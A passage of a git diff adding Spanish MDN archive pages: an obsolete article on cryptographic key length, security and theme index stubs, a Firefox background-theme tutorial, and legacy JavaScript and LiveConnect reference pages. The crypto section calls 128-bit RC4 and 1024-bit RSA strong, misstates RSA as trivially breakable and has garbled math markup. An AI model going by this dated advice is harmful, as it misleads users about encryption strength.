+<h3 id="Key_Length_and_Encryption_Strength" name="Key_Length_and_Encryption_Strength"><a name="Longitud">Longitud de la clave y resistencia del cifrado</a></h3>
+
+<p>Romper un algoritmo de encriptación consiste básicamente en encontrar la clave para acceder a la información encriptada en texto plano. Para los algoritmos simétricos, romper el algoritmo normalmente significa intentar determinar la clave usada para encriptar el texto. Para un algoritmo de clave pública, romper el algoritmo normalmente significa obtener la información secreta compartida entre las dos partes.</p>
+
+<p>Un método para romper un algoritmo de clave simétrica es simplemente probar cada clave hasta que se encuentre la clave correcta.Para algoritmos de clave pública, ya que la mitad del par de claves es conocida públicamente, la otra mitad (clave privada) puede ser derivada utilizando la publicada a partir de complejos cálculos matemáticos. Encontrar la clave manualmente para romper un algoritmo se denomina ataque de fuerza bruta.</p>
+
+<p>Romper un algoritmo introduce el riesgo de interceptar, o incluso hacerse pasar por otra persona y ver fraudulentamente información privada.</p>
+
+<p>La fuerza de un algoritmo es determinada encontrando el método más rápido para romperlo y comparándolo con un ataque de fuerza bruta.</p>
+
+<p>Para claves simétricas, la fuerza de la encriptación es a menudo descrita en función del tamaño o longitud de las claves usadas para realizar la encriptación: en general, las claves más largas proporcionan una encriptación más fuerte. La longitud de la clave se mide en bits. Por ejemplo, las claves de 128 bits usadas con la clave simétrica de RC4 soportadas por SSL brindan una protección criptográfica significativamente mejor que las claves de 40 bits utilizadas con el mismo algoritmo. La encriptación RC4 de 128 bits es aproximadamente 3 x  <math><semantics><msup><mn>10</mn><mn>26</mn></msup><annotation encoding="TeX">10^26</annotation></semantics></math>veces más fuerte que la encriptación RC4 de 40 bits.<math><semantics><msup><mn>26</mn></msup><annotation encoding="TeX">10^26</annotation></semantics></math></p>
+
+<p>Algoritmos criptográficos diferentes pueden requerir claves de diferente longitud para lograr la misma fuerza de encriptación. El algoritmo RSA usado para encriptación de clave pública, por ejemplo, puede únicamente utilizar un subconjunto de todos los posibles valores para una clave de una longitud específica, debido a la naturaleza del problema matemático en el que está basado. Otros algoritmos, como los usados para encriptación dde clave simétrica, puede utilizar todos los posibles valores para una clave de una longitud específica, en lugar de un subconjunto.</p>
+
+<p>Ya que es relativamente trivial romper un algoritmo RSA, un algoritmo de encriptación de clave pública RSA debe tener una clave muy larga, al menos de 1024 bits, para ser considerada criptográficamente fuerte. Por otro lado, los algoritmos de clave simétrica pueden lograr aproximadamente el mismo nivel de fuerza con una clave de 80 bits para la mayoría de los algoritmos.</p>
+
+<p> </p>
+
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Información del documento original</h3>
+
+<ul>
+ <li>Autor(es): Ella Deon Lackey</li>
+ <li>ültima actualización: 2012</li>
+ <li>Información de Copyright: © 2012 Red Hat, Inc.</li>
+ <li>Enlace: <a href="https://access.redhat.com/documentation/en-US/Red_Hat_Certificate_System_Common_Criteria_Certification/8.1/html/Deploy_and_Install_Guide/index.html">Red Hat Certificate System Common Criteria Certification 8.1: Deployment, Planning, and Installation</a></li>
+</ul>
+</div>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/es/archive/security/index.html b/files/es/archive/security/index.html
new file mode 100644
index 0000000000..82879db250
--- /dev/null
+++ b/files/es/archive/security/index.html
@@ -0,0 +1,14 @@
+---
+title: Security
+slug: Archive/Security
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Security
+---
+<p><strong><span class="seoSummary">Relying on these obsolete security articles is highly discouraged. Doing so may put your systems at risk.</span></strong></p>
+
+<p></p><div class="row topicpage-table">
+    <div class="section"><dl><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Digital_Signatures">Digital Signatures</a></dt><dd class="landingPageList">Encryption and decryption address the problem of eavesdropping, one of the three Internet security issues mentioned at the beginning of this document. But encryption and decryption, by themselves, do not address another problem: tampering.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Encryption_and_Decryption">Encryption and Decryption</a></dt><dd class="landingPageList">Encryption is the process of transforming information so it is unintelligible to anyone but the intended recipient. Decryption is the process of transforming encrypted information so that it is intelligible again.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_Public-Key_Cryptography">Introduction to Public-Key Cryptography</a></dt><dd class="landingPageList">Public-key cryptography and related standards and techniques underlie the security features of many products such as signed and encrypted email, single sign-on, and Secure Sockets Layer (SSL) communications. This document introduces the basic concepts of public-key cryptography. For an overview of SSL, see "<a href="/en/Introduction_to_SSL" title="en/Introduction_to_SSL">Introduction to SSL</a>." For an overview of encryption and decryption, see "<a href="/en-US/docs/Encryption_and_Decryption">Encryption and Decryption</a>." Information on digital signatures is available from "<a href="/en-US/docs/Digital_Signatures">Digital Signatures</a>."</dd></dl></dl></div>
+    <div class="section"><dl><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/Introduction_to_SSL">Introduction to SSL</a></dt><dd class="landingPageList">This document introduces the Secure Sockets Layer (SSL) protocol. SSL has been universally accepted on the World Wide Web for authenticated and encrypted communication between clients and servers.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/NSPR_engineering_guide">NSPR Release Engineering Guide</a></dt><dd class="landingPageList">This paper is for engineers performing formal release for the NetScape Portable Runtime (NSPR) across all platforms.</dd><dt class="landingPageList"><a href="/en-US/docs/Archive/Security/SSL_and_TLS">SSL and TLS</a></dt><dd class="landingPageList">The Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols are universally accepted standards for authenticated and encrypted communication between clients and servers. Both client and server authentication occur over SSL/TLS.</dd></dl></div>
+    </div><p></p>
diff --git a/files/es/archive/themes/create_your_own_firefox_background_theme/index.html b/files/es/archive/themes/create_your_own_firefox_background_theme/index.html
new file mode 100644
index 0000000000..9f99e57df7
--- /dev/null
+++ b/files/es/archive/themes/create_your_own_firefox_background_theme/index.html
@@ -0,0 +1,102 @@
+---
+title: Crea tu propio Tema de Fondo para Firefox
+slug: Archive/Themes/Create_Your_Own_Firefox_Background_Theme
+translation_of: Archive/Themes/Create_Your_Own_Firefox_Background_Theme
+---
+<h2 id="Como_crear_tu_propio_Tema_de_Fondo">Como crear tu propio Tema de Fondo</h2>
+
+<div class="primary auto" id="getting-started">
+<p>Los temas están basados en una imagen "encabezado", la cual adorna el fondo de la Interfaz Gráfica de Firefox.</p>
+
+<p>Acabaste tu diseño? Puedes <a href="https://addons.mozilla.org/developers/theme/submit">Enviarlo ahora mismo!</a></p>
+
+<h3 id="Creando_una_imagen_de_Encabezado_para_el_Tema">Creando una imagen de Encabezado para el Tema</h3>
+
+<p>La imagen de encabezadp es mostrada como el fondo del título de la ventana de Firefox, anidándose tras las barras de herramientas, barra de direcciones, barra de búsqueda y la barra de pestañas. Será <strong>anclada a la esquina superior derecha</strong> de la ventana del explorador.</p>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9929/header-step.jpg" style="height: 215px; width: 1059px;"></p>
+
+<ul>
+ <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/header.jpg">Ver un encabezado de prueba aquí.</a></li>
+</ul>
+
+<h4 id="Requerimientos_de_la_imagen">Requerimientos de la imagen</h4>
+
+<ul>
+ <li>Las dimensiones deben ser <strong>3000px de ancho × 200px de alto</strong></li>
+ <li>Formatos PNG o JPG serán aceptados</li>
+ <li>La Imagen no debe exceder los 300 KB de tamaño de archivo</li>
+</ul>
+
+<h4 id="Trucos">Trucos</h4>
+
+<ul>
+ <li>Las imágenes sutiles y de colores más suaves funcionan mejor. La interfaz del buscador puede interferir en imágenes más complejas.</li>
+ <li>Firefox may reveal more of the lower portion of the image if another toolbar or other UI element is added to the top of the window.</li>
+ <li>The upper right-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser reveals more of the left-hand side of the image.</li>
+</ul>
+
+<h4 id="Online_Image_Editor_Resources">Online Image Editor Resources</h4>
+
+<ul>
+ <li><a href="http://www.pixlr.com">Pixlr</a> — Pixlr offers professional and easy-to-use tools for creating and editing images within a browser.</li>
+ <li><a href="http://www.photoshop.com">Photoshop</a> — Tweak, rotate and touch up photos with Photoshop® Express, a free online photo editor.</li>
+</ul>
+
+<h3 id="Creating_a_Theme_Footer_Image">Creating a Theme Footer Image</h3>
+
+<p>In older versions of Firefox, or newer versions with certain add-ons installed, the footer image is displayed as the background of the bottom of the browser window, behind the add-on and find bars. It will be anchored to the bottom-left corner of the browser window. Footer images are optional.</p>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9935/footer-step.jpg" style="height: 56px; width: 1249px;"></p>
+
+<ul>
+ <li><a href="https://addons.cdn.mozilla.net/static/img/docs/themes/footer.jpg">View a sample Theme Footer here.</a></li>
+</ul>
+
+<h4 id="Image_Requirements">Image Requirements</h4>
+
+<ul>
+ <li>Dimensions should be <strong>3000px wide × 100px high</strong></li>
+ <li>PNG or JPG file format</li>
+ <li>Image must be no larger than 300 KB in file size</li>
+</ul>
+
+<h4 id="Tips">Tips</h4>
+
+<ul>
+ <li>Subtle, soft contrast images and gradients work best; highly detailed images will compete with the browser UI.</li>
+ <li>Firefox may reveal more of the upper portion of the image if the find bar is open or if an extension adds more height to the bottom of the window.</li>
+ <li>The left-hand side of the image should have the most important information—as a user increases the width of the browser window, the browser reveals more of the right-hand side of the image.</li>
+</ul>
+
+<h3 id="Submitting_your_Theme_Images">Submitting your Theme Images</h3>
+
+<p>To get started submitting your images, go to the Theme Submission page:</p>
+
+<ol class="itemized">
+ <li><strong>Name your theme</strong> — pick a unique name for your theme. Duplicate names are not allowed, so you may need to try a few times to find a unique name.</li>
+ <li><strong>Pick a category and tags</strong> — select a category and enter some tags that best describe your theme. Keep in mind that a reviewer may reject your theme if it is obvious that your category and/or tags are unrelated to your theme.</li>
+ <li><strong>Describe your theme</strong> — write a short description of your theme. Keep in mind that a reviewer may reject your theme if your description is not an accurate representation of your theme.</li>
+ <li><strong>Select a license for your theme</strong> — decide on a copyright license for your work. <a href="http://creativecommons.org/licenses/">Read more about the types of Creative Common licenses.</a>
+  <ul>
+   <li><strong>Important:</strong> Please be sure you have the rights to use the image in your theme!</li>
+  </ul>
+ </li>
+ <li><strong>Upload your images</strong> — make sure they are under 300 KB in size and JPG or PNG format!</li>
+ <li><strong>Select text and tab colors</strong> — you can choose the tab ("background") color and foreground text color that work best with your header image.</li>
+ <li><strong>Preview your theme</strong> — you're ready to preview your theme! Simply mouse over the image above the Submit Theme button, and see how it looks instantly.</li>
+ <li><strong>Submit your theme</strong> — if everything looks right, click the Submit Theme button, and you're done! You can see all the themes you've authored on your profile page.
+  <ul>
+   <li><strong>Tip:</strong> to ensure that your theme is approved for the gallery, be sure it complies with the content guidelines and terms of service!</li>
+  </ul>
+ </li>
+</ol>
+
+<p class="screenshot"><img alt="" src="https://mdn.mozillademos.org/files/9933/submission-step.jpg" style="height: 1800px; width: 785px;"></p>
+
+<p class="call-to-submit"><a class="button prominent" href="https://addons.mozilla.org/en-US/developers/theme/submit">Submit Your Theme Now</a></p>
+
+<h2 class="call-to-submit" id="More_Tutorials">More Tutorials</h2>
+
+<p><a href="http://vanillaorchidstutorials.blogspot.com/2015/11/mozilla-themes-focal-point-sizing.html">Mozilla Themes Focal Point on Sizing</a> - A tutorial on theming with a focus on sizing, by VanillaOrchids.</p>
+</div>
diff --git a/files/es/archive/themes/index.html b/files/es/archive/themes/index.html
new file mode 100644
index 0000000000..aff151946d
--- /dev/null
+++ b/files/es/archive/themes/index.html
@@ -0,0 +1,11 @@
+---
+title: Themes
+slug: Archive/Themes
+tags:
+  - NeedsTranslation
+  - TopicStub
+translation_of: Archive/Themes
+---
+<p>Archived theme documentation.</p>
+
+<p></p><ul><li><a href="/en-US/docs/Archive/Themes/Building_a_Theme">Building a Theme</a></li><li><a href="/en-US/docs/Archive/Themes/Common_Firefox_theme_issues_and_solutions">Common Firefox theme issues and solutions</a></li><li><a href="/en-US/docs/Archive/Themes/Creating_a_Skin_for_Firefox">Creating a Skin for Firefox</a><ul><li><a href="/en-US/docs/Archive/Themes/Creating_a_Skin_for_Firefox/UUID">UUID</a></li><li><a href="/en-US/docs/Archive/Themes/Creating_a_Skin_for_Firefox/contents.rdf">contents.rdf</a></li><li><a href="/en-US/docs/Archive/Themes/Creating_a_Skin_for_Firefox/install.rdf">install.rdf</a></li></ul></li><li><a href="/en-US/docs/Archive/Themes/Making_sure_your_theme_works_with_RTL_locales">Making sure your theme works with RTL locales</a></li><li><a href="/en-US/docs/Archive/Themes/Theme_changes_in_Firefox_2">Theme changes in Firefox 2</a></li><li><a href="/en-US/docs/Archive/Themes/Theme_changes_in_Firefox_3">Theme changes in Firefox 3</a></li><li><a href="/en-US/docs/Archive/Themes/Theme_changes_in_Firefox_3.5">Theme changes in Firefox 3.5</a></li><li><a href="/en-US/docs/Archive/Themes/Theme_changes_in_Firefox_4">Theme changes in Firefox 4</a></li></ul><p></p>
diff --git a/files/es/archive/tutoriales-para-principiantes/index.html b/files/es/archive/tutoriales-para-principiantes/index.html
new file mode 100644
index 0000000000..45477336ba
--- /dev/null
+++ b/files/es/archive/tutoriales-para-principiantes/index.html
@@ -0,0 +1,8 @@
+---
+title: Tutoriales para principiantes
+slug: Archive/Tutoriales-para-principiantes
+translation_of: Archive/Beginner_tutorials
+---
+<p class="summary">Esta página incluye tutoriales archivados para principiantes, de diferentes sitios alrededor de MDN.</p>
+
+<p></p>
diff --git a/files/es/archive/web/index.html b/files/es/archive/web/index.html
new file mode 100644
index 0000000000..8ca15839ca
--- /dev/null
+++ b/files/es/archive/web/index.html
@@ -0,0 +1,12 @@
+---
+title: Archived open Web documentation
+slug: Archive/Web
+tags:
+  - Archived
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Archive/Web
+---
+<p>The documentation listed below is archived, obsolete material about open Web topics.</p>
+<p></p><dl><dt class="landingPageList"><a href="/es/docs/E4X">E4X</a></dt><dd class="landingPageList"><strong>ECMAScript for XML</strong> (<strong>E4X</strong>) es una extensión del lenguaje de programación que añade la implementación de XML nativo a <a href="/es/JavaScript" title="es/JavaScript">JavaScript</a>. Esto proporciona el acceso al documento de XML de manera que sea natural para los programadores de ECMAScript. El objetivo es proporcionar una alternativa, una sintaxis más simple para tener acceso a documentos XML a través de las interfaces <a href="/es/DOM" title="es/DOM">DOM</a>.</dd><dt class="landingPageList"><a href="/es/docs/Archive/Web/LiveConnect">LiveConnect</a></dt><dd class="landingPageList"></dd></dl><p></p>
diff --git a/files/es/archive/web/javascript/index.html b/files/es/archive/web/javascript/index.html
new file mode 100644
index 0000000000..4687b7bf23
--- /dev/null
+++ b/files/es/archive/web/javascript/index.html
@@ -0,0 +1,12 @@
+---
+title: JavaScript
+slug: Archive/Web/JavaScript
+translation_of: Archive/Web/JavaScript
+---
+<div class="hidden">{{JSRef}}</div>
+
+<p>{{Obsolete_Header}}</p>
+
+<p class="summary">Obsolete JavaScript features and unmaintained docs</p>
+
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/es/archive/web/javascript/legacy_generator_function_statement/index.html b/files/es/archive/web/javascript/legacy_generator_function_statement/index.html
new file mode 100644
index 0000000000..75efe9f447
--- /dev/null
+++ b/files/es/archive/web/javascript/legacy_generator_function_statement/index.html
@@ -0,0 +1,63 @@
+---
+title: Función generadora de legado
+slug: Archive/Web/JavaScript/Legacy_generator_function_statement
+tags:
+  - Iterador Legado
+  - JavaScript
+  - Referencia
+translation_of: Archive/Web/JavaScript/Legacy_generator_function_statement
+---
+<div class="warning">La función generadora de legado es una característica específica de SpiderMonkey, y será eliminida en Firefox 58+. Para futuros usos, considera usar {{jsxref("Statements/function*", "function*")}}.</div>
+
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La <strong>sentencia de función generadora de legado</strong> declara funciones generadoras con unos parámetros específicos.</p>
+
+<p>También se pueden definir funciones usando el constructor {{jsxref("Function")}} con <code>functionBody</code> y al menos una expresión {{jsxref("Operadores/yield", "yield")}}, y una función {{jsxref("Operators/Legacy_generator_function", "legacy generator function expression", "", 1)}}.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">function <em>nombre</em>([<em>parámetro</em>,[, <em>parámetro</em>,[..., <em>parámetro</em>]]]) {
+   [<em>sentencias</em>]
+}
+</pre>
+
+<dl>
+ <dt><code>nombre</code></dt>
+ <dd>Nombre de la función.</dd>
+</dl>
+
+<dl>
+ <dt><code>parámetro</code></dt>
+ <dd>El nombre de un argumento pasado a la función. Una función puede tener hasta 255 argumentos.</dd>
+</dl>
+
+<dl>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">sentencias</font></dt>
+ <dd>Las sentencias que componen el cuerpo de la función. Debe contener al menos una expresion {{jsxref("Operadores/yield", "yield")}}.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Una introducción de su uso está disponible en la página de <a href="/en-US/docs/JavaScript/Guide/Iterators_and_Generators" title="/en-US/docs/JavaScript/Guide/Iterators_and_Generators">Iteradores y Generadores</a>.</p>
+
+<h2 id="Compatibilidad_de_navegadores">Compatibilidad de navegadores</h2>
+
+<p>Supported nowhere.</p>
+
+<h2 id="Vea_también">Vea también</h2>
+
+<ul>
+ <li>{{jsxref("Generator")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Legacy_generator_function">La expresión de función generadora de legado</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_legacy_Iterator_protocol">El protocolo del Iterador legado</a></li>
+ <li>{{jsxref("Operadores/yield", "yield")}}</li>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Funciones" title="JavaScript/Referencia/Funciones_y_alcance_de_funciones">Funciones y alcance de funciones</a></li>
+ <li>{{jsxref("Sentencias/function", "function")}}</li>
+ <li>{{jsxref("Operadores/function", "function expression")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Sentencias/function*", "function*")}}</li>
+ <li>{{jsxref("Operadores/function*", "function* expression")}}</li>
+ <li>{{jsxref("GeneratorFunction")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">El protocolo Iterator</a></li>
+</ul>
diff --git a/files/es/archive/web/javascript/proximo_soporte_de_ecmascript_en_mozilla/index.html b/files/es/archive/web/javascript/proximo_soporte_de_ecmascript_en_mozilla/index.html
new file mode 100644
index 0000000000..763fb63dfa
--- /dev/null
+++ b/files/es/archive/web/javascript/proximo_soporte_de_ecmascript_en_mozilla/index.html
@@ -0,0 +1,85 @@
+---
+title: Próximo soporte de ECMAScript en Mozilla
+slug: Archive/Web/JavaScript/Proximo_soporte_de_ECMAScript_en_Mozilla
+tags:
+  - ECMAScript
+  - JavaScript
+translation_of: Archive/Web/JavaScript/ECMAScript_Next_support_in_Mozilla
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Próximo ECMAScript hace referencia a las nuevas características del estándar ECMA-262 (comúnmente llamado JavaScript) introducido después de ECMAScript 2015. Las nuevas versiones de las especificaciones de ECMAScript serán liberadas anualmente. Este año, la especificación ES2016 será liberada y ES2017 es la actual especificación en borrador.</p>
+
+<p>Puedes ver la última propuesta en el repositorio de GitHub <a href="https://github.com/tc39/ecma262">tc39/ecma262</a>.</p>
+
+<p>Un canal de retroalimentación para los estándares de ECMAScript es <a href="https://mail.mozilla.org/listinfo/es-discuss">es-discuss</a>.</p>
+
+<h2 id="ECMAScript_2016">ECMAScript 2016</h2>
+
+<p>Estas características de ES2016 están implementadas:</p>
+
+<ul>
+ <li>{{jsxref("Array.prototype.includes()")}} (Firefox 43)</li>
+ <li>{{jsxref("TypedArray.prototype.includes()")}} (Firefox 43)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/function*">Generadores</a> y <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Method_definitions">métodos de generador</a>  ya no son construibles (Firefox 43)</li>
+ <li>Se ha removido el manejador de <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy/handler/enumerate">enumerador</a> de Proxy (Firefox 47)</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Exponentiation">Operador de exponenciación</a> (Firefox 52)</li>
+ <li>{{jsxref("Functions/rest_parameters", "Parámetro de desestructuración Rest", "#Destructuring_rest_parameters", 1)}} (Firefox 52)</li>
+</ul>
+
+<h2 id="ECMAScript_2017">ECMAScript 2017</h2>
+
+<p>Estas características de ES2017 están implementadas:</p>
+
+<ul>
+ <li>{{jsxref("Object.values()")}} y {{jsxref("Object.entries()")}} (Firefox 47)</li>
+ <li>{{jsxref("String.prototype.padEnd()")}} (Firefox 48)</li>
+ <li>{{jsxref("String.prototype.padStart()")}} (Firefox 48)</li>
+ <li>{{jsxref("Object.getOwnPropertyDescriptors()")}} (Firefox 50)</li>
+ <li>Funciones asíncronas
+  <ul>
+   <li>{{jsxref("Statements/async_function", "async function")}} (Firefox 52)</li>
+   <li>{{jsxref("Operators/async_function", "async function expression")}} (Firefox 52)</li>
+   <li>{{jsxref("AsyncFunction")}} (Firefox 52)</li>
+   <li>{{jsxref("Operators/await", "await")}} (Firefox 52)</li>
+  </ul>
+ </li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Trailing_commas">Arrastre de comas en la lista de parámetros de una función</a> (Firefox 52)</li>
+</ul>
+
+<h2 id="Nuevas_características_experimentales">Nuevas características experimentales</h2>
+
+<p>Las siguientes características ya están implementadas, pero sólo disponibles en el <a href="http://nightly.mozilla.org/">Canal Firefox Nightly</a> y aún no incluidas en la edición de borrador de alguna especificación ECMAScript.</p>
+
+<h3 id="Adiciones_al_objeto_ArrayBuffer">Adiciones al objeto <code>ArrayBuffer</code></h3>
+
+<ul>
+ <li>{{jsxref("ArrayBuffer.transfer()")}} (<a href="https://gist.github.com/lukewagner/2735af7eea411e18cf20">spec</a>)</li>
+</ul>
+
+<h3 id="Nuevos_objetos_TypedObject">Nuevos objetos TypedObject</h3>
+
+<ul>
+ <li><a href="https://github.com/dslomov-chromium/typed-objects-es7">Borrador de Objetos Tipados</a></li>
+</ul>
+
+<h3 id="Nuevos_objetos_SIMD">Nuevos objetos SIMD</h3>
+
+<ul>
+ <li><a href="https://github.com/johnmccutchan/ecmascript_simd">Borrador de especificación SIMD y polyfill</a></li>
+</ul>
+
+<h3 id="Nuevos_objetos_de_Memoria_Compartida">Nuevos objetos de Memoria Compartida</h3>
+
+<ul>
+ <li>{{jsxref("SharedArrayBuffer")}}</li>
+ <li>{{jsxref("Atomics")}}</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="http://www.ecmascript.org/">Sitio web de ECMAScript</a></li>
+ <li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1021376">Mozilla ES2016 tracking bug</a></li>
+ <li><a href="http://kangax.github.io/compat-table/esnext/">ECMAScript next support across browsers</a></li>
+</ul>
diff --git a/files/es/archive/web/liveconnect/index.html b/files/es/archive/web/liveconnect/index.html
new file mode 100644
index 0000000000..328b6d2678
--- /dev/null
+++ b/files/es/archive/web/liveconnect/index.html
@@ -0,0 +1,23 @@
+---
+title: LiveConnect
+slug: Archive/Web/LiveConnect
+tags:
+  - AJAX
+  - Guía_de_JavaScript_1.5
+  - JavaScript
+  - Referencia_de_JavaScript_1.5
+  - Todas_las_Categorías
+translation_of: Archive/Web/LiveConnect/LiveConnect_Reference
+---
+<p>
+</p><p>This section documents the Java classes used for <a href="es/LiveConnect">LiveConnect</a>, along with their constructors and methods. These classes allow a Java object to access JavaScript code.
+</p><p><a href="es/Referencia_de_JavaScript_1.5/LiveConnect/JSException">JSException</a>
+</p>
+<dl><dd> The public class <code>JSException</code> extends <code>RuntimeException</code>, and is thrown when JavaScript returns an error.
+</dd></dl>
+<p><a href="es/Referencia_de_JavaScript_1.5/LiveConnect/JSObject">JSObject</a>
+</p>
+<dl><dd> The public class <code>JSObject</code> extends <code>Object</code>. JavaScript objects are wrapped in an instance of the class <code>JSObject</code> and passed to Java, allowing Java to manipulate JavaScript objects.
+</dd></dl>
+<div class="noinclude">
+</div>
diff --git a/files/es/archive/web/liveconnect/java/index.html b/files/es/archive/web/liveconnect/java/index.html
new file mode 100644
index 0000000000..46df56223d
--- /dev/null
+++ b/files/es/archive/web/liveconnect/java/index.html
@@ -0,0 +1,15 @@
+---
+title: java
+slug: Archive/Web/LiveConnect/java
+translation_of: Archive/Web/LiveConnect_Reference/java
+---
+<p>Resumen</p>
+<p><strong>Objeto Global</strong></p>
+<p>Un objeto de alto nivel utilizado para acceder a cualquier clase Java del paquete <code>java.*</code>.</p>
+<h3 id="Created_by" name="Created_by">Creado por</h3>
+<p>El objeto <code>java</code> es un objeto Javascript predefinido de alto nivel. Puedes acceder a él de forma automática sin utilizar un constructor o sin llamar a un método.</p>
+<h3 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h3>
+<p>El objeto <code>java</code> es un buen sinónimo de la propiedad <code>Packages.java</code>.</p>
+<h3 id="Ver_tambi.C3.A9n" name="Ver_tambi.C3.A9n">Ver también</h3>
+<p><a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales#Paquetes" title="es/Referencia_de_JavaScript_1.5/Objetos_globales#Paquetes">Paquetes</a>, <a href="/es/Referencia_de_JavaScript_1.5/Objetos_globales#Paquetes:java" title="es/Referencia_de_JavaScript_1.5/Objetos_globales#Paquetes:java">Packages.java</a></p>
+<p></p>
diff --git a/files/es/archive/web/liveconnect/javaarray/index.html b/files/es/archive/web/liveconnect/javaarray/index.html
new file mode 100644
index 0000000000..1ec785bfc5
--- /dev/null
+++ b/files/es/archive/web/liveconnect/javaarray/index.html
@@ -0,0 +1,65 @@
+---
+title: JavaArray
+slug: Archive/Web/LiveConnect/JavaArray
+translation_of: Archive/Web/LiveConnect_Reference/JavaArray
+---
+<p>
+</p>
+<h3 id="Summary" name="Summary"> Summary </h3>
+<p><b>Core Object</b>
+</p><p>A wrapped Java array accessed from within JavaScript code is a member of the type <code>JavaArray</code>.
+</p>
+<h3 id="Created_by" name="Created_by"> Created by </h3>
+<p>Any Java method which returns an array. In addition, you can create a <code>JavaArray</code> with an arbitrary data type using the <code>newInstance</code> method of the <code>Array</code> class:
+</p>
+<pre class="eval">public static Object newInstance(Class componentType,
+   int length)
+   throws NegativeArraySizeException
+</pre>
+<h3 id="Description" name="Description"> Description </h3>
+<p>The <code>JavaArray</code> object is an instance of a Java array that is created in or passed to JavaScript. <code>JavaArray</code> is a wrapper for the instance; all references to the array instance are made through the <code>JavaArray</code>.
+</p><p>In JavaScript 1.4 and later, the <code>componentType</code> parameter is either a <code>JavaClass</code> object representing the type of the array or class object, such as one returned by <code>java.lang.Class.forName</code>. In JavaScript 1.3 and earlier, <code>componentType</code> must be a class object.
+</p><p>Use zero-based indexes to access the elements in a <code>JavaArray</code> object, just as you do to access elements in an array in Java. For example:
+</p>
+<pre class="eval">var javaString = new java.lang.String("Hello world!");
+var byteArray = javaString.getBytes();
+byteArray[0] // returns 72
+byteArray[1] // returns 101
+</pre>
+<p>Any Java data brought into JavaScript is converted to JavaScript data types. When the <code>JavaArray</code> is passed back to Java, the array is unwrapped and can be used by Java code. See the <a href="es/Core_JavaScript_1.5_Guide">Core JavaScript 1.5 Guide</a> for more information about data type conversions.
+</p><p>In JavaScript 1.4 and later, the methods of <code>java.lang.Object</code> are inherited by <code>JavaArray</code>.
+</p>
+<h3 id="Backward_compatibility" name="Backward_compatibility"> Backward compatibility </h3>
+<h4 id="JavaScript_1.3_and_earlier" name="JavaScript_1.3_and_earlier"> JavaScript 1.3 and earlier </h4>
+<p>The methods of <code>java.lang.Object</code> are not inherited by <code>JavaArray</code>. In addition, the <code>toString</code> method is inherited from the <code>Object</code> object and returns the following value:
+</p>
+<pre class="eval">[object JavaArray]
+</pre>
+<p>You must specify a class object, such as one returned by <code>java.lang.Object.forName</code>, for the <code>componentType</code> parameter of <code>newInstance</code> when you use this method to create an array. You cannot use a <code>JavaClass</code> object for the <code>componentType</code> parameter.
+</p>
+<h3 id="Properties" name="Properties"> Properties </h3>
+<p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray/length">length</a>: The number of elements in the Java array represented by <code>JavaArray</code>.
+</p>
+<h3 id="Methods" name="Methods"> Methods </h3>
+<p><a href="es/Core_JavaScript_1.5_Reference/Global_Objects/JavaArray/toString">toString</a>: In JavaScript 1.4, this method is overridden by the inherited method <code>java.lang.Object.toString</code>. in JavaScript 1.3 and earlier, this method returns a string identifying the object as a <code>JavaArray</code>.
+</p><p>In JavaScript 1.4 and later, <code>JavaArray</code> also inherits methods from the Java array superclass, <code>java.lang.Object</code>.
+</p>
+<h3 id="Examples" name="Examples"> Examples </h3>
+<h4 id="Example:_Instantiating_a_JavaArray_in_JavaScript" name="Example:_Instantiating_a_JavaArray_in_JavaScript"> Example: Instantiating a <code>JavaArray</code> in JavaScript </h4>
+<p>In this example, the <code>JavaArray</code> <code>byteArray</code> is created by the <code>java.lang.String.getBytes</code> method, which returns an array.
+</p>
+<pre class="eval">var javaString = new java.lang.String("Hello world!");
+var byteArray = javaString.getBytes();
+</pre>
+<h4 id="Example:_Instantiating_a_JavaArray_in_JavaScript_with_the_newInstance_method" name="Example:_Instantiating_a_JavaArray_in_JavaScript_with_the_newInstance_method"> Example: Instantiating a <code>JavaArray</code> in JavaScript with the <code>newInstance</code> method </h4>
+<p>In JavaScript 1.4, you can use a <code>JavaClass</code> object as the argument for the <code>newInstance</code> method which creates the array, as shown in the following code:
+</p>
+<pre class="eval">var dogs = java.lang.reflect.Array.newInstance(java.lang.String, 5);
+</pre>
+<p>In JavaScript 1.1, use a class object returned by <code>java.lang.Class.forName</code> as the argument for the newInstance method, as shown in the following code:
+</p>
